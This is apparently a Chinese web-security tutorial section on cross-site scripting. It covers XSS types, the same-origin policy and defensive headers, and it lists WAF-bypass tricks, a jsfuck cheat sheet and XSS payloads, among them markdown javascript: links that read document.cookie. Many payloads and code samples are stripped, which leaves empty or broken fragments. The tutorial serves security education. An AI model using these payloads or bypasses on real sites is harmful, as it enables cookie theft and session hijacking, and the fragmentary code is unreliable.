WEB安全渗透测试的基础知识第六部分,小伙伴们快来继续学习吧~
3.2、分类
XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
3.2.1.1. 反射型XSS
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:hello, $_GET['user']
";?> ,那么在访问时设置 /?user=,则可执行预设好的JavaScript代码。 反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。
3.2.1.2. 储存型XSS
储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
3.2.1.3. DOM XSS
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
例如
<title>DOM Based XSS Demo/<title>
输入 x' onerror='javascript:alert(/xss/) 即可触发。
3.2.1.4. Blind XSS
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。它被归类为盲目的原因是因为它通常发生在通常不暴露给用户的功能上。
3.2.2. 同源策略
3.2.2.1. 简介
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
3.2.2.1.1. file域的同源策略
在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。
从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。
3.2.2.1.2. cookie的同源策略
cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。
不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / secure 和 http-only 标记来限定其访问性。
所以 https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。
3.2.2.1.3. Flash/SilverLight跨域
浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。
客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。
3.2.2.2. 源的更改
同源策略认为域和子域属于不同的域,例如
child1.a.com 与 a.com / child1.a.com 与 child2.a.com/ xxx.child1.a.com 与 child1.a.com 两两不同源。
对于这种情况,可以在两个方面各自设置 document.damain='a.com' 来改变其源来实现以上任意两个页面之间的通信。
另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null 。
3.2.2.3. 跨源访问
同源策略控制了不同源之间的交互,这些交互通常分为三类:
● 通常允许跨域写操作(Cross-origin writes)
链接(links)
重定向
表单提交
● 通常允许跨域资源嵌入(Cross-origin embedding)
● 通常不允许跨域读操作(Cross-origin reads)
可能嵌入跨源的资源的一些示例有:
● 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
● <link> 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
● / <video> / <audio> 嵌入多媒体资源。/<audio>/<video>
● <object> <embed> 和 <applet> 的插件。/<applet>/<embed>/<object>
● @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
● <frame> 和 <iframe> 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。
/<iframe>
3.2.2.3.1. JSONP跨域
JSONP就是利用
●
3.2.5.2. 加载URL
● location=javascript:alert(/xss/)
● location.href=javascript:alert(/xss/)
● location.assign(javascript:alert(/xss/))
● location.replace(javascript:alert(/xss/))
3.2.5.3. 执行HTML
● xx.innerHTML=payload
● xx.outerHTML=payload
● document.write(payload)
● document.writeln(payload)
3.2.6. XSS保护
3.2.6.1. HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
3.2.6.2. X-Frame
X-Frame-Options 响应头有三个可选的值:
● DENY
页面不能被嵌入到任何iframe或frame中
● SAMEORIGIN
页面只能被本站页面嵌入到iframe或者frame中
● ALLOW-FROM
页面允许frame或frame加载
3.2.6.3. XSS保护头
基于 Webkit 内核的浏览器(比如Chrome)有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
0: 表示关闭浏览器的XSS防护机制
1: 删除检测到的恶意代码, 如果响应报文中没有看到X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
1; mode=block: 如果检测到恶意代码,在不渲染恶意代码
FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。
3.2.7. WAF Bypass
● 利用<>标记
● 利用html属性
href
lowsrc
bgsound
background
value
action
dynsrc
● 关键字
利用回车拆分
字符串拼接(window["al" + "ert"])
● 利用编码绕过
base64
jsfuck
String.fromCharCode
HTML
URL
hex(window["\\\\x61\\\\x6c\\\\x65\\\\x72\\\\x74"])
unicode
utf7(+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-)
utf16
● 大小写混淆
● 对标签属性值转码
● 产生事件
● css跨站解析
● 长度限制bypass
eval(name)
eval(hash)
import
$.getScript
$.get
● .
使用 。绕过IP/域名
document['cookie'] 绕过属性取值
● 过滤引号用 “ ` “ 绕过
3.2.8.1. CSS 注入
CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
3.2.8.1.2. CSS selectors
上图是利用CSS selectors完成攻击的一个示例。
3.2.8.1.3. Abusing Unicode Range
当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下
当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容。
3.2.8.2. Bypass Via Script Gadgets
3.2.8.2.1. 简介
一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的具体描述。
portswigger的一篇博文也表达了类似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。
下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。
3.2.8.2.2. 例子
// index.php
$msg = $_GET['message'];
$msg = str_replace("\\n", "",
$msg); $msg = base64_encode($msg);
?>
<title>Preview/<title>
3.2.8.3. jsfuck cheat sheet
3.2.8.3.1. Basic values
● undefined > [][[]]
● false > ![]
● true > !![]
● NaN > +[![]]
● 0 > +[]
● 1 > +!+[]
● 2 > !+[]+!+[]
3.2.8.3.2. Basic strings
● '' > []+[]
● 'undefined' > []+[][[]]
● 'false' > []+![]
● 'true' > []+!![]
● 'NaN' > []+(+[![]])
● '0' > []+(+[])
● '1' > []+(+!+[])
● '2' > []+(!+[]+!+[])
● '10' > [+!+[]]+[+[]]
● '11' > [+!+[]]+[+!+[]]
● '100' > [+!+[]]+[+[]]+(+[])
3.2.8.3.3. Higher numbers
● 10 > +([+!+[]]+[+[]])
● 11 > +([+!+[]]+[+!+[]])
● 100 > +([+!+[]]+[+[]]+(+[]))
3.2.8.3.4. String alphabet
● 'a' > ([]+![])[+!+[]]
● 'd' > ([]+[][[]])[+!+[]+!+[]]
● 'e' > ([]+!+[])[+!+[]+!+[]+!+[]]
● 'f' > ([]+![])[+[]]
● 'i' > ([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]
● 'l' > ([]+![])[+!+[]+!+[]]
● 'n' > ([]+[][[]])[+!+[]]
● 'r' > ([]+!+[])[+!+[]]
● 's' > ([]+![])[+!+[]+!+[]+!+[]]
● 't' > ([]+!+[])[+[]]
● 'u' > ([]+!+[])[+!+[]+!+[]]
3.2.8.4. RPO(Relative Path Overwrite)
RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。
3.2.9. Payload
3.2.9.1. 常用
●
●
●
●
● <marquee>
●
●
● <details>
● <embed>
3.2.9.2. 大小写绕过
●
●
●
●
●
●
●
●
●
● <marquee>
● <marquee>
● <marquee>
3.2.9.3. 各种alert
●
●
●
●
●
●
●
●
●
●
●
●
●
3.2.9.4. 伪协议
●
●
●
●
3.2.9.5. Chrome XSS auditor bypass
● ?param=https://&[email protected]/import%20rel=import%3E
● <base>
● <base><iframe>
3.2.9.6. 长度限制
\\...
3.2.9.7. jquery sourceMappingURL
3.2.9.8. 图片名
">.gif
3.2.9.9. 过期的payload
● class="lazy" data-original=javascript:alert基本不可以用
● css expression特性只在旧版本ie可用
3.2.9.10. css
3.2.9.11. markdown
● [a](javascript:prompt(document.cookie))
● [a](j a v a s c r i p t:prompt(document.cookie)) <alert> /<alert>
● ![a'"`onerror=prompt(document.cookie)](x)
● [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
● [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
● ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
3.2.9.12. iframe
<iframe>
/>
● <iframe>
● <iframe>
● <iframe>
● <iframe>>/<iframe>
● <iframe>
● <iframe>
3.2.9.13. form
●
/<iframe>●
/<button>/<form>閱讀更多 e安教育 的文章